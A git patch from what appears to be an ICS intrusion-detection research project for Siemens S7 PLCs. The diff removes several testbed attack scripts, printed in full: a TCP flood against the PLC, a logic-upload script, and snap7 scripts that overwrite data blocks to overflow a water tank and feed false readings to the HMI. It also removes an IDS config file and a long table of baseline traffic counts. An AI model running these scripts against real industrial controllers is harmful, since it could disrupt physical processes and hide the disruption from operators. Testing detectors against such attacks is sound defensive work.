From f13ac99badfe069312d4b323963e05ac22871f43 Mon Sep 17 00:00:00 2001 From: KostasAna Date: Fri, 24 Nov 2023 16:41:10 +0000 Subject: [PATCH 1/3] Started covering to Python 3 --- Attack-Scripts/dos.py | 15 - Attack-Scripts/get_logic.py | 19 - Attack-Scripts/write-to-various-areas.py | 30 - Attack-Scripts/write.py | 26 - Example-Files/IDS_CONFIG.txt | 25 - Example-Files/config_file_information.txt | 1554 --------------------- Example-Files/my_logs.txt | 35 - Experiment Setup.png | Bin 53270 -> 0 bytes IDS/Config.py | 81 -- IDS/S7Packet.py | 142 -- IDS/aggregate_traffic.py | 173 --- IDS/ids.py | 337 ----- IDS/my_siem.py | 108 -- README.md | 83 -- System Architecture.png | Bin 122903 -> 0 bytes Value Tampering Detection.png | Bin 69050 -> 0 bytes aggregate_traffic.py | 166 +++ config.py | 66 + config_file_information.txt | 70 + ids.py | 94 ++ my_siem.py | 105 ++ requirements.txt | 3 + s7packet.py | 146 ++ 23 files changed, 650 insertions(+), 2628 deletions(-) delete mode 100644 Attack-Scripts/dos.py delete mode 100644 Attack-Scripts/get_logic.py delete mode 100644 Attack-Scripts/write-to-various-areas.py delete mode 100644 Attack-Scripts/write.py delete mode 100644 Example-Files/IDS_CONFIG.txt delete mode 100644 Example-Files/config_file_information.txt delete mode 100644 Example-Files/my_logs.txt delete mode 100644 Experiment Setup.png delete mode 100644 IDS/Config.py delete mode 100644 IDS/S7Packet.py delete mode 100644 IDS/aggregate_traffic.py delete mode 100644 IDS/ids.py delete mode 100644 IDS/my_siem.py delete mode 100644 README.md delete mode 100644 System Architecture.png delete mode 100644 Value Tampering Detection.png create mode 100644 aggregate_traffic.py create mode 100644 config.py create mode 100644 config_file_information.txt create mode 100644 ids.py create mode 100644 my_siem.py create mode 100644 requirements.txt create mode 100644 s7packet.py diff --git a/Attack-Scripts/dos.py b/Attack-Scripts/dos.py deleted file mode 100644 index 20e78e7..0000000 --- a/Attack-Scripts/dos.py +++ /dev/null @@ -1,15 +0,0 @@ -""" -File: dos.py -Performs a simple TCP Denial of Service against the PLC's web interface. -Change IP on line 12 as appropriate. -""" -__author__ = 'William Jardine' - -import socket, sys, os - -for i in range(1, 10000): - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.connect(('192.168.0.101', 102)) - print "TCP packet sent to PLC" - s.send("DoSing the PLC\r\n") - s.close() diff --git a/Attack-Scripts/get_logic.py b/Attack-Scripts/get_logic.py deleted file mode 100644 index a4e0fa3..0000000 --- a/Attack-Scripts/get_logic.py +++ /dev/null @@ -1,19 +0,0 @@ -""" -File: get_logic.py -Upload logic code for FB1 (function block 1) from the PLC to the user workstation and print the size of it. -""" -__author__ = 'William Jardine' - -import snap7 - -ip = '192.168.0.101' # IP of fieldsite 3 PLC -rack = 0 -slot = 2 - -client = snap7.client.Client() -client.connect(ip, rack, slot) - -(code, size) = client.full_upload("FB", 1) -print "{} bytes of logic code uploaded from {}".format(len(code), ip) - -client.disconnect() diff --git a/Attack-Scripts/write-to-various-areas.py b/Attack-Scripts/write-to-various-areas.py deleted file mode 100644 index dbcfd28..0000000 --- a/Attack-Scripts/write-to-various-areas.py +++ /dev/null @@ -1,30 +0,0 @@ -""" -File: write-to-various-areas.py -Exploit Siemens S7 memory configuration to overflow the water tank and disrupt monitoring. -Write to DB1 to make the function do something (currently writing a Fill value) -Write to DB2 to fool the HMI (currently write a Middle valye) -Can also try writing to MD104 (line 28), but refresh rate is too quick to it for effective results. -""" -__author__ = 'William Jardine' - -import snap7 -import binascii - -ip = '192.168.0.101' # IP of fieldsite 3 PLC -rack = 0 -slot = 2 - -client = snap7.client.Client() -client.connect(ip, rack, slot) - -x = bytearray(b'\xff\xff\xff\xff') -y = bytearray(b'\x42\x8e\x3f\x1d') # uncomment this to fool HMI - - -while True: - print("writing {}".format(binascii.hexlify(x))) - client.db_write(1,2,x) # uncomment this to attack process - client.db_write(2,2,y) # uncomment this to fool HMI - this is same purpose as MD104 but not overwritten - #client.write_area(snap7.types.areas['MK'], 0, 104, x) - -client.disconnect() diff --git a/Attack-Scripts/write.py b/Attack-Scripts/write.py deleted file mode 100644 index 4315d56..0000000 --- a/Attack-Scripts/write.py +++ /dev/null @@ -1,26 +0,0 @@ -""" -File: write.py -Writes 1 to DB1.DBX0.1, which turns on auto mode (this is specific to Lancaster's ICS testbed setup - will vary system to system!). -Add the argument -reset to reset bits back to 0 and turn it back off. -""" -__author__ = 'William Jardine' - -import snap7 -import binascii -import sys - -ip = '192.168.0.101' # IP of fieldsite 3 PLC -rack = 0 -slot = 2 - -client = snap7.client.Client() -client.connect(ip, rack, slot) - -x = bytearray(b'\x02') # write 00000010 to turn on auto mode (DB1.DBX0.1) -if len(sys.argv) > 1 and sys.argv[1] == "-reset": - x = bytearray(b'\x00') - -print("writing {}".format(binascii.hexlify(x))) -client.db_write(1,0,x) # writing to byte 5 in data block 1s - -client.disconnect() diff --git a/Example-Files/IDS_CONFIG.txt b/Example-Files/IDS_CONFIG.txt deleted file mode 100644 index 01a3a2b..0000000 --- a/Example-Files/IDS_CONFIG.txt +++ /dev/null @@ -1,25 +0,0 @@ -IDS_CONFIG:192.168.0.101 - ->Levels (#Levels for low, normal and high by function code per 30 seconds# Function:Low/High, where normal >= Low and <= High) -Read:50/140 -Write:0/4 -StartUpload:0/0 -Upload:0/0 -EndUpload:0/0 -Other:10/200 - ->IPs (#IPs expected to be involved# Function:xxx.xxx.xxx.xxx;yyy.yyy.yyy.yyy) -Read:192.168.0.101;192.168.0.100;192.168.0.12 -Write:192.168.0.101;192.168.0.100;192.168.0.12 -StartUpload: -Upload: -EndUpload: -Other:192.168.0.101;192.168.0.100;192.168.0.12 - ->Times (#Times high number of packets are expected to arrive at normally# 61 means always, otherwise values are comma separated) -Read:61 -Write:00,05,10 -StartUpload:50 -Upload:50 -EndUpload:50 -Other:61 diff --git a/Example-Files/config_file_information.txt b/Example-Files/config_file_information.txt deleted file mode 100644 index caa9879..0000000 --- a/Example-Files/config_file_information.txt +++ /dev/null @@ -1,1554 +0,0 @@ -TITLE: config_file_information - -ATTRIBUTE: functionCode -ATTRIBUTE: packetsPerThirtySecsOfThisType -ATTRIBUTE: 5MinuteTimeInterval -ATTRIBUTE: srcIP -ATTRIBUTE: dstIP - -Read,133,0,172.16.0.199,192.168.2.101 -Read,60,0,192.168.2.201,192.168.2.101 - -Other,61,0,172.16.0.199,192.168.2.101 -Other,60,0,192.168.2.201,192.168.2.101 - -Read,133,0,172.16.0.199,192.168.2.101 -Read,58,0,192.168.2.201,192.168.2.101 - -Other,62,0,192.168.2.201,192.168.2.101 -Other,60,0,172.16.0.199,192.168.2.101 - -Read,133,0,172.16.0.199,192.168.2.101 -Read,60,0,192.168.2.201,192.168.2.101 - -Other,61,0,192.168.2.201,192.168.2.101 -Other,60,0,172.16.0.199,192.168.2.101 -Other,10,0,172.16.0.200,192.168.2.101 - -Read,133,5,172.16.0.199,192.168.2.101 -Read,60,5,192.168.2.201,192.168.2.101 - -Other,61,5,172.16.0.199,192.168.2.101 -Other,61,5,192.168.2.201,192.168.2.101 - -Read,133,5,172.16.0.199,192.168.2.101 -Read,60,5,192.168.2.201,192.168.2.101 - -Other,61,5,172.16.0.199,192.168.2.101 -Other,62,5,192.168.2.201,192.168.2.101 - -Read,133,5,172.16.0.199,192.168.2.101 -Read,60,5,192.168.2.201,192.168.2.101 - -Other,61,5,172.16.0.199,192.168.2.101 -Other,60,5,192.168.2.201,192.168.2.101 - -Read,133,5,172.16.0.199,192.168.2.101 -Read,58,5,192.168.2.201,192.168.2.101 - -Other,62,5,172.16.0.199,192.168.2.101 -Other,60,5,192.168.2.201,192.168.2.101 - -Read,134,5,172.16.0.199,192.168.2.101 -Read,60,5,192.168.2.201,192.168.2.101 - -Other,62,5,192.168.2.201,192.168.2.101 -Other,60,5,172.16.0.199,192.168.2.101 - -Read,133,5,192.168.2.101,172.16.0.199 -Read,60,5,192.168.2.201,192.168.2.101 - -Other,61,5,172.16.0.199,192.168.2.101 -Other,62,5,192.168.2.201,192.168.2.101 -Other,10,5,172.16.0.200,192.168.2.101 - -Read,134,5,192.168.2.101,172.16.0.199 -Read,60,5,192.168.2.201,192.168.2.101 - -Other,61,5,172.16.0.199,192.168.2.101 -Other,62,5,192.168.2.201,192.168.2.101 - -Read,133,5,172.16.0.199,192.168.2.101 -Read,60,5,192.168.2.201,192.168.2.101 - -Other,62,5,172.16.0.199,192.168.2.101 -Other,62,5,192.168.2.201,192.168.2.101 - -Read,133,5,172.16.0.199,192.168.2.101 -Read,58,5,192.168.2.201,192.168.2.101 - -Other,64,5,172.16.0.199,192.168.2.101 -Other,58,5,192.168.2.201,192.168.2.101 - -Read,61,5,192.168.2.201,192.168.2.101 -Read,132,5,172.16.0.199,192.168.2.101 - -Other,63,5,192.168.2.201,192.168.2.101 -Other,63,5,172.16.0.199,192.168.2.101 -Other,10,5,172.16.0.200,192.168.2.101 - -Read,61,10,192.168.2.201,192.168.2.101 -Read,132,10,172.16.0.199,192.168.2.101 - -Other,63,10,172.16.0.199,192.168.2.101 -Other,60,10,192.168.2.201,192.168.2.101 - -Read,61,10,192.168.2.201,192.168.2.101 -Read,132,10,172.16.0.199,192.168.2.101 - -Other,61,10,172.16.0.199,192.168.2.101 -Other,61,10,192.168.2.201,192.168.2.101 - -Read,133,10,172.16.0.199,192.168.2.101 -Read,60,10,192.168.2.201,192.168.2.101 - -Other,62,10,172.16.0.199,192.168.2.101 -Other,61,10,192.168.2.201,192.168.2.101 - -Read,133,10,172.16.0.199,192.168.2.101 -Read,60,10,192.168.2.201,192.168.2.101 - -Other,62,10,172.16.0.199,192.168.2.101 -Other,61,10,192.168.2.201,192.168.2.101 - -Read,133,10,172.16.0.199,192.168.2.101 -Read,58,10,192.168.2.201,192.168.2.101 - -Other,61,10,172.16.0.199,192.168.2.101 -Other,59,10,192.168.2.201,192.168.2.101 - -Read,61,10,192.168.2.201,192.168.2.101 -Read,132,10,172.16.0.199,192.168.2.101 - -Other,61,10,172.16.0.199,192.168.2.101 -Other,61,10,192.168.2.201,192.168.2.101 -Other,10,10,172.16.0.200,192.168.2.101 - -Read,61,10,192.168.2.201,192.168.2.101 -Read,132,10,172.16.0.199,192.168.2.101 - -Other,61,10,172.16.0.199,192.168.2.101 -Other,61,10,192.168.2.201,192.168.2.101 - -Read,133,10,172.16.0.199,192.168.2.101 -Read,60,10,192.168.2.201,192.168.2.101 - -Other,61,10,172.16.0.199,192.168.2.101 -Other,62,10,192.168.2.201,192.168.2.101 - -Read,133,10,172.16.0.199,192.168.2.101 -Read,60,10,192.168.2.201,192.168.2.101 - -Other,61,10,172.16.0.199,192.168.2.101 -Other,60,10,192.168.2.201,192.168.2.101 - -Read,133,10,172.16.0.199,192.168.2.101 -Read,58,10,192.168.2.201,192.168.2.101 - -Other,62,10,172.16.0.199,192.168.2.101 -Other,61,10,192.168.2.101,192.168.2.201 -Other,10,10,172.16.0.200,192.168.2.101 - -Read,61,15,192.168.2.201,192.168.2.101 -Read,132,15,172.16.0.199,192.168.2.101 - -Other,62,15,192.168.2.201,192.168.2.101 -Other,61,15,172.16.0.199,192.168.2.101 - -Read,133,15,172.16.0.199,192.168.2.101 -Read,60,15,192.168.2.201,192.168.2.101 - -Other,63,15,192.168.2.201,192.168.2.101 -Other,60,15,172.16.0.199,192.168.2.101 - -Read,133,15,172.16.0.199,192.168.2.101 -Read,60,15,192.168.2.201,192.168.2.101 - -Other,61,15,172.16.0.199,192.168.2.101 -Other,60,15,192.168.2.201,192.168.2.101 - -Read,133,15,172.16.0.199,192.168.2.101 -Read,60,15,192.168.2.201,192.168.2.101 - -Other,64,15,172.16.0.199,192.168.2.101 -Other,61,15,192.168.2.201,192.168.2.101 - -Read,133,15,172.16.0.199,192.168.2.101 -Read,58,15,192.168.2.201,192.168.2.101 - -Other,66,15,172.16.0.199,192.168.2.101 -Other,59,15,192.168.2.201,192.168.2.101 - -Read,61,15,192.168.2.201,192.168.2.101 -Read,132,15,172.16.0.199,192.168.2.101 -Write,17,15,192.168.2.201,192.168.2.101 - -Other,77,15,192.168.2.201,192.168.2.101 -Other,66,15,172.16.0.199,192.168.2.101 -Other,6,15,172.16.0.200,192.168.2.101 - -Read,133,15,172.16.0.199,192.168.2.101 -Read,60,15,192.168.2.201,192.168.2.101 -Write,21,15,192.168.2.201,192.168.2.101 - -Other,82,15,192.168.2.201,192.168.2.101 -Other,74,15,172.16.0.199,192.168.2.101 -Other,4,15,172.16.0.200,192.168.2.101 - -Read,133,15,172.16.0.199,192.168.2.101 -Read,60,15,192.168.2.201,192.168.2.101 - -Other,78,15,172.16.0.199,192.168.2.101 -Other,62,15,192.168.2.201,192.168.2.101 - -Read,133,15,172.16.0.199,192.168.2.101 -Read,60,15,192.168.2.201,192.168.2.101 -Write,37,15,192.168.2.201,192.168.2.101 - -Other,80,15,172.16.0.199,192.168.2.101 -Other,96,15,192.168.2.201,192.168.2.101 - -Read,133,15,172.16.0.199,192.168.2.101 -Read,58,15,192.168.2.201,192.168.2.101 - -Other,76,15,172.16.0.199,192.168.2.101 -Other,60,15,192.168.2.201,192.168.2.101 -Other,10,15,172.16.0.200,192.168.2.101 - -Read,61,20,192.168.2.201,192.168.2.101 -Read,132,20,172.16.0.199,192.168.2.101 - -Other,63,20,192.168.2.201,192.168.2.101 -Other,78,20,172.16.0.199,192.168.2.101 - -Read,133,20,172.16.0.199,192.168.2.101 -Read,60,20,192.168.2.201,192.168.2.101 - -Other,63,20,192.168.2.201,192.168.2.101 -Other,75,20,172.16.0.199,192.168.2.101 - -Read,133,20,172.16.0.199,192.168.2.101 -Read,60,20,192.168.2.201,192.168.2.101 - -Other,78,20,172.16.0.199,192.168.2.101 -Other,60,20,192.168.2.201,192.168.2.101 - -Read,133,20,172.16.0.199,192.168.2.101 -Read,60,20,192.168.2.201,192.168.2.101 - -Other,74,20,172.16.0.199,192.168.2.101 -Other,62,20,192.168.2.201,192.168.2.101 - -Read,133,20,172.16.0.199,192.168.2.101 -Read,58,20,192.168.2.201,192.168.2.101 - -Other,67,20,172.16.0.199,192.168.2.101 -Other,59,20,192.168.2.201,192.168.2.101 - -Read,61,20,192.168.2.201,192.168.2.101 -Read,132,20,172.16.0.199,192.168.2.101 - -Other,63,20,192.168.2.201,192.168.2.101 -Other,61,20,172.16.0.199,192.168.2.101 - -Read,133,20,172.16.0.199,192.168.2.101 -Read,60,20,192.168.2.201,192.168.2.101 - -Other,62,20,192.168.2.201,192.168.2.101 -Other,60,20,172.16.0.199,192.168.2.101 -Other,10,20,172.16.0.200,192.168.2.101 - -Read,134,20,172.16.0.199,192.168.2.101 -Read,60,20,192.168.2.201,192.168.2.101 - -Other,61,20,172.16.0.199,192.168.2.101 -Other,62,20,192.168.2.201,192.168.2.101 - -Read,134,20,192.168.2.101,172.16.0.199 -Read,60,20,192.168.2.201,192.168.2.101 - -Other,61,20,172.16.0.199,192.168.2.101 -Other,62,20,192.168.2.201,192.168.2.101 - -Read,133,20,172.16.0.199,192.168.2.101 -Read,60,20,192.168.2.201,192.168.2.101 - -Other,61,20,172.16.0.199,192.168.2.101 -Other,62,20,192.168.2.201,192.168.2.101 -Other,10,20,172.16.0.200,192.168.2.101 - -Read,133,25,172.16.0.199,192.168.2.101 -Read,58,25,192.168.2.201,192.168.2.101 - -Other,61,25,172.16.0.199,192.168.2.101 -Other,59,25,192.168.2.201,192.168.2.101 - -Read,61,25,192.168.2.201,192.168.2.101 -Read,132,25,172.16.0.199,192.168.2.101 - -Other,62,25,192.168.2.201,192.168.2.101 -Other,60,25,172.16.0.199,192.168.2.101 - -Read,61,25,192.168.2.201,192.168.2.101 -Read,132,25,172.16.0.199,192.168.2.101 - -Other,61,25,172.16.0.199,192.168.2.101 -Other,62,25,192.168.2.201,192.168.2.101 - -Read,133,25,172.16.0.199,192.168.2.101 -Read,60,25,192.168.2.201,192.168.2.101 - -Other,61,25,172.16.0.199,192.168.2.101 -Other,60,25,192.168.2.201,192.168.2.101 - -Read,133,25,172.16.0.199,192.168.2.101 -Read,60,25,192.168.2.201,192.168.2.101 - -Other,61,25,172.16.0.199,192.168.2.101 -Other,61,25,192.168.2.201,192.168.2.101 - -Read,133,25,172.16.0.199,192.168.2.101 -Read,58,25,192.168.2.201,192.168.2.101 - -Other,61,25,172.16.0.199,192.168.2.101 -Other,61,25,192.168.2.201,192.168.2.101 - -Read,133,25,172.16.0.199,192.168.2.101 -Read,58,25,192.168.2.201,192.168.2.101 - -Other,61,25,172.16.0.199,192.168.2.101 -Other,60,25,192.168.2.201,192.168.2.101 -Other,10,25,172.16.0.200,192.168.2.101 - -Read,133,25,172.16.0.199,192.168.2.101 -Read,58,25,192.168.2.201,192.168.2.101 - -Other,61,25,172.16.0.199,192.168.2.101 -Other,61,25,192.168.2.201,192.168.2.101 - -Read,133,25,172.16.0.199,192.168.2.101 -Read,60,25,192.168.2.201,192.168.2.101 - -Other,61,25,172.16.0.199,192.168.2.101 -Other,61,25,192.168.2.201,192.168.2.101 - -Read,133,25,172.16.0.199,192.168.2.101 -Read,58,25,192.168.2.201,192.168.2.101 - -Other,60,25,192.168.2.101,192.168.2.201 -Other,60,25,172.16.0.199,192.168.2.101 -Other,10,25,172.16.0.200,192.168.2.101 - -Read,133,30,172.16.0.199,192.168.2.101 -Read,60,30,192.168.2.201,192.168.2.101 - -Other,61,30,172.16.0.199,192.168.2.101 -Other,62,30,192.168.2.201,192.168.2.101 - -Read,133,30,172.16.0.199,192.168.2.101 -Read,58,30,192.168.2.201,192.168.2.101 - -Other,61,30,172.16.0.199,192.168.2.101 -Other,61,30,192.168.2.201,192.168.2.101 - -Read,61,30,192.168.2.201,192.168.2.101 -Read,132,30,172.16.0.199,192.168.2.101 - -Other,61,30,172.16.0.199,192.168.2.101 -Other,61,30,192.168.2.201,192.168.2.101 - -Read,133,30,172.16.0.199,192.168.2.101 -Read,60,30,192.168.2.201,192.168.2.101 - -Other,62,30,172.16.0.199,192.168.2.101 -Other,61,30,192.168.2.201,192.168.2.101 - -Read,133,30,172.16.0.199,192.168.2.101 -Read,58,30,192.168.2.201,192.168.2.101 - -Other,61,30,172.16.0.199,192.168.2.101 -Other,60,30,192.168.2.201,192.168.2.101 - -Read,61,30,192.168.2.201,192.168.2.101 -Read,132,30,172.16.0.199,192.168.2.101 - -Other,64,30,192.168.2.101,192.168.2.201 -Other,60,30,172.16.0.199,192.168.2.101 - -Read,133,30,172.16.0.199,192.168.2.101 -Read,60,30,192.168.2.201,192.168.2.101 - -Other,62,30,192.168.2.201,192.168.2.101 -Other,60,30,172.16.0.199,192.168.2.101 -Other,10,30,172.16.0.200,192.168.2.101 - -Read,133,30,172.16.0.199,192.168.2.101 -Read,58,30,192.168.2.201,192.168.2.101 - -Other,61,30,192.168.2.101,192.168.2.201 -Other,60,30,172.16.0.199,192.168.2.101 - -Read,133,30,172.16.0.199,192.168.2.101 -Read,60,30,192.168.2.201,192.168.2.101 - -Other,61,30,192.168.2.201,192.168.2.101 -Other,60,30,172.16.0.199,192.168.2.101 - -Read,133,30,172.16.0.199,192.168.2.101 -Read,58,30,192.168.2.201,192.168.2.101 - -Other,61,30,172.16.0.199,192.168.2.101 -Other,59,30,192.168.2.201,192.168.2.101 -Other,10,30,172.16.0.200,192.168.2.101 - -Read,61,35,192.168.2.201,192.168.2.101 -Read,132,35,172.16.0.199,192.168.2.101 - -Other,62,35,192.168.2.201,192.168.2.101 -Other,60,35,172.16.0.199,192.168.2.101 - -Read,133,35,172.16.0.199,192.168.2.101 -Read,60,35,192.168.2.201,192.168.2.101 - -Other,61,35,172.16.0.199,192.168.2.101 -Other,62,35,192.168.2.201,192.168.2.101 - -Read,133,35,172.16.0.199,192.168.2.101 -Read,58,35,192.168.2.201,192.168.2.101 - -Other,61,35,172.16.0.199,192.168.2.101 -Other,60,35,192.168.2.201,192.168.2.101 - -Read,61,35,192.168.2.201,192.168.2.101 -Read,132,35,172.16.0.199,192.168.2.101 - -Other,63,35,192.168.2.201,192.168.2.101 -Other,60,35,172.16.0.199,192.168.2.101 - -Read,133,35,172.16.0.199,192.168.2.101 -Read,60,35,192.168.2.201,192.168.2.101 - -Other,61,35,172.16.0.199,192.168.2.101 -Other,61,35,192.168.2.201,192.168.2.101 - -Read,133,35,172.16.0.199,192.168.2.101 -Read,58,35,192.168.2.201,192.168.2.101 - -Other,62,35,172.16.0.199,192.168.2.101 -Other,61,35,192.168.2.201,192.168.2.101 - -Read,133,35,172.16.0.199,192.168.2.101 -Read,60,35,192.168.2.201,192.168.2.101 - -Other,61,35,192.168.2.201,192.168.2.101 -Other,60,35,172.16.0.199,192.168.2.101 -Other,10,35,172.16.0.200,192.168.2.101 - -Read,133,35,172.16.0.199,192.168.2.101 -Read,58,35,192.168.2.201,192.168.2.101 - -Other,61,35,172.16.0.199,192.168.2.101 -Other,61,35,192.168.2.201,192.168.2.101 - -Read,61,35,192.168.2.201,192.168.2.101 -Read,132,35,172.16.0.199,192.168.2.101 - -Other,63,35,192.168.2.201,192.168.2.101 -Other,60,35,172.16.0.199,192.168.2.101 - -Read,133,35,172.16.0.199,192.168.2.101 -Read,60,35,192.168.2.201,192.168.2.101 - -Other,63,35,172.16.0.199,192.168.2.101 -Other,60,35,192.168.2.201,192.168.2.101 -Other,10,35,172.16.0.200,192.168.2.101 - -Read,133,40,172.16.0.199,192.168.2.101 -Read,58,40,192.168.2.201,192.168.2.101 - -Other,62,40,192.168.2.101,192.168.2.201 -Other,63,40,192.168.2.101,172.16.0.199 - -Read,133,40,172.16.0.199,192.168.2.101 -Read,60,40,192.168.2.201,192.168.2.101 - -Other,61,40,192.168.2.201,192.168.2.101 -Other,61,40,172.16.0.199,192.168.2.101 - -Read,133,40,172.16.0.199,192.168.2.101 -Read,58,40,192.168.2.201,192.168.2.101 - -Other,64,40,192.168.2.101,172.16.0.199 -Other,58,40,192.168.2.201,192.168.2.101 - -Read,133,40,172.16.0.199,192.168.2.101 -Read,60,40,192.168.2.201,192.168.2.101 - -Other,64,40,192.168.2.101,172.16.0.199 -Other,61,40,192.168.2.201,192.168.2.101 - -Read,134,40,172.16.0.199,192.168.2.101 -Read,60,40,192.168.2.201,192.168.2.101 - -Other,64,40,192.168.2.101,172.16.0.199 -Other,62,40,192.168.2.201,192.168.2.101 - -Read,134,40,192.168.2.101,172.16.0.199 -Read,58,40,192.168.2.201,192.168.2.101 -StartUpload,17,40,192.168.2.4,192.168.2.101 -Upload,31,40,192.168.2.4,192.168.2.101 -EndUpload,17,40,192.168.2.4,192.168.2.101 - -Other,62,40,172.16.0.199,192.168.2.101 -Other,60,40,192.168.2.101,192.168.2.201 -Other,131,40,192.168.2.4,192.168.2.101 - -Read,132,40,172.16.0.199,192.168.2.101 -Read,60,40,192.168.2.201,192.168.2.101 -StartUpload,58,40,192.168.2.4,192.168.2.101 -Upload,83,40,192.168.2.4,192.168.2.101 -EndUpload,57,40,192.168.2.4,192.168.2.101 - -Other,64,40,192.168.2.101,172.16.0.199 -Other,222,40,192.168.2.4,192.168.2.101 -Other,62,40,192.168.2.201,192.168.2.101 -Other,10,40,172.16.0.200,192.168.2.101 - -Read,134,40,192.168.2.101,172.16.0.199 -Read,58,40,192.168.2.201,192.168.2.101 - -Other,61,40,172.16.0.199,192.168.2.101 -Other,58,40,192.168.2.201,192.168.2.101 - -Read,61,40,192.168.2.201,192.168.2.101 -Read,133,40,172.16.0.199,192.168.2.101 - -Other,64,40,192.168.2.101,172.16.0.199 -Other,63,40,192.168.2.101,192.168.2.201 - -Read,133,40,192.168.2.101,172.16.0.199 -Read,60,40,192.168.2.201,192.168.2.101 - -Other,63,40,192.168.2.101,172.16.0.199 -Other,61,40,192.168.2.201,192.168.2.101 -Other,10,40,172.16.0.200,192.168.2.101 - -Read,133,45,192.168.2.101,172.16.0.199 -Read,60,45,192.168.2.201,192.168.2.101 - -Other,61,45,172.16.0.199,192.168.2.101 -Other,61,45,192.168.2.201,192.168.2.101 - -Read,133,45,192.168.2.101,172.16.0.199 -Read,60,45,192.168.2.201,192.168.2.101 - -Other,61,45,172.16.0.199,192.168.2.101 -Other,61,45,192.168.2.201,192.168.2.101 - -Read,134,45,192.168.2.101,172.16.0.199 -Read,58,45,192.168.2.201,192.168.2.101 - -Other,62,45,172.16.0.199,192.168.2.101 -Other,60,45,192.168.2.201,192.168.2.101 - -Read,61,45,192.168.2.201,192.168.2.101 -Read,132,45,172.16.0.199,192.168.2.101 - -Other,63,45,192.168.2.201,192.168.2.101 -Other,60,45,172.16.0.199,192.168.2.101 - -Read,61,45,192.168.2.201,192.168.2.101 -Read,132,45,172.16.0.199,192.168.2.101 -Write,13,45,192.168.2.201,192.168.2.101 - -Other,61,45,172.16.0.199,192.168.2.101 -Other,73,45,192.168.2.201,192.168.2.101 - -Read,133,45,172.16.0.199,192.168.2.101 -Read,60,45,192.168.2.201,192.168.2.101 -Write,9,45,192.168.2.201,192.168.2.101 - -Other,61,45,172.16.0.199,192.168.2.101 -Other,71,45,192.168.2.101,192.168.2.201 - -Read,133,45,172.16.0.199,192.168.2.101 -Read,58,45,192.168.2.201,192.168.2.101 -Write,41,45,192.168.2.201,192.168.2.101 - -Other,65,45,172.16.0.199,192.168.2.101 -Other,99,45,192.168.2.201,192.168.2.101 -Other,10,45,172.16.0.200,192.168.2.101 - -Read,61,45,192.168.2.201,192.168.2.101 -Read,132,45,172.16.0.199,192.168.2.101 -Write,3,45,192.168.2.201,192.168.2.101 - -Other,63,45,192.168.2.201,192.168.2.101 -Other,70,45,172.16.0.199,192.168.2.101 - -Read,61,45,192.168.2.201,192.168.2.101 -Read,132,45,172.16.0.199,192.168.2.101 - -Other,76,45,172.16.0.199,192.168.2.101 -Other,62,45,192.168.2.201,192.168.2.101 - -Read,61,45,192.168.2.201,192.168.2.101 -Read,132,45,172.16.0.199,192.168.2.101 - -Other,77,45,172.16.0.199,192.168.2.101 -Other,61,45,192.168.2.201,192.168.2.101 -Other,10,45,172.16.0.200,192.168.2.101 - -Read,133,50,172.16.0.199,192.168.2.101 -Read,60,50,192.168.2.201,192.168.2.101 - -Other,76,50,172.16.0.199,192.168.2.101 -Other,61,50,192.168.2.201,192.168.2.101 - -Read,133,50,172.16.0.199,192.168.2.101 -Read,60,50,192.168.2.201,192.168.2.101 - -Other,77,50,172.16.0.199,192.168.2.101 -Other,62,50,192.168.2.201,192.168.2.101 - -Read,133,50,172.16.0.199,192.168.2.101 -Read,58,50,192.168.2.201,192.168.2.101 - -Other,76,50,172.16.0.199,192.168.2.101 -Other,60,50,192.168.2.201,192.168.2.101 - -Read,61,50,192.168.2.201,192.168.2.101 -Read,132,50,172.16.0.199,192.168.2.101 - -Other,76,50,172.16.0.199,192.168.2.101 -Other,61,50,192.168.2.201,192.168.2.101 - -Read,61,50,192.168.2.201,192.168.2.101 -Read,132,50,172.16.0.199,192.168.2.101 - -Other,78,50,172.16.0.199,192.168.2.101 -Other,62,50,192.168.2.201,192.168.2.101 - -Read,133,50,172.16.0.199,192.168.2.101 -Read,60,50,192.168.2.201,192.168.2.101 - -Other,74,50,172.16.0.199,192.168.2.101 -Other,62,50,192.168.2.201,192.168.2.101 - -Read,133,50,172.16.0.199,192.168.2.101 -Read,60,50,192.168.2.201,192.168.2.101 - -Other,67,50,172.16.0.199,192.168.2.101 -Other,61,50,192.168.2.201,192.168.2.101 -Other,10,50,172.16.0.200,192.168.2.101 - -Read,133,50,172.16.0.199,192.168.2.101 -Read,58,50,192.168.2.201,192.168.2.101 - -Other,66,50,172.16.0.199,192.168.2.101 -Other,59,50,192.168.2.201,192.168.2.101 - -Read,61,50,192.168.2.201,192.168.2.101 -Read,132,50,172.16.0.199,192.168.2.101 - -Other,63,50,192.168.2.201,192.168.2.101 -Other,60,50,172.16.0.199,192.168.2.101 - -Read,61,50,192.168.2.201,192.168.2.101 -Read,132,50,172.16.0.199,192.168.2.101 - -Other,62,50,192.168.2.201,192.168.2.101 -Other,60,50,172.16.0.199,192.168.2.101 -Other,10,50,172.16.0.200,192.168.2.101 - -Read,133,55,172.16.0.199,192.168.2.101 -Read,60,55,192.168.2.201,192.168.2.101 - -Other,62,55,192.168.2.201,192.168.2.101 -Other,60,55,172.16.0.199,192.168.2.101 - -Read,133,55,172.16.0.199,192.168.2.101 -Read,60,55,192.168.2.201,192.168.2.101 - -Other,61,55,172.16.0.199,192.168.2.101 -Other,60,55,192.168.2.201,192.168.2.101 - -Read,133,55,172.16.0.199,192.168.2.101 -Read,60,55,192.168.2.201,192.168.2.101 - -Other,61,55,172.16.0.199,192.168.2.101 -Other,59,55,192.168.2.201,192.168.2.101 - -Read,133,55,172.16.0.199,192.168.2.101 -Read,58,55,192.168.2.201,192.168.2.101 - -Other,62,55,192.168.2.201,192.168.2.101 -Other,60,55,172.16.0.199,192.168.2.101 - -Read,61,55,192.168.2.201,192.168.2.101 -Read,132,55,172.16.0.199,192.168.2.101 - -Other,62,55,192.168.2.201,192.168.2.101 -Other,60,55,172.16.0.199,192.168.2.101 - -Read,133,55,172.16.0.199,192.168.2.101 -Read,60,55,192.168.2.201,192.168.2.101 - -Other,63,55,192.168.2.101,192.168.2.201 -Other,60,55,172.16.0.199,192.168.2.101 - -Read,133,55,172.16.0.199,192.168.2.101 -Read,60,55,192.168.2.201,192.168.2.101 - -Other,61,55,172.16.0.199,192.168.2.101 -Other,63,55,192.168.2.201,192.168.2.101 -Other,4,55,172.16.0.200,192.168.2.101 - -Read,133,55,172.16.0.199,192.168.2.101 -Read,60,55,192.168.2.201,192.168.2.101 - -Other,61,55,172.16.0.199,192.168.2.101 -Other,6,55,172.16.0.200,192.168.2.101 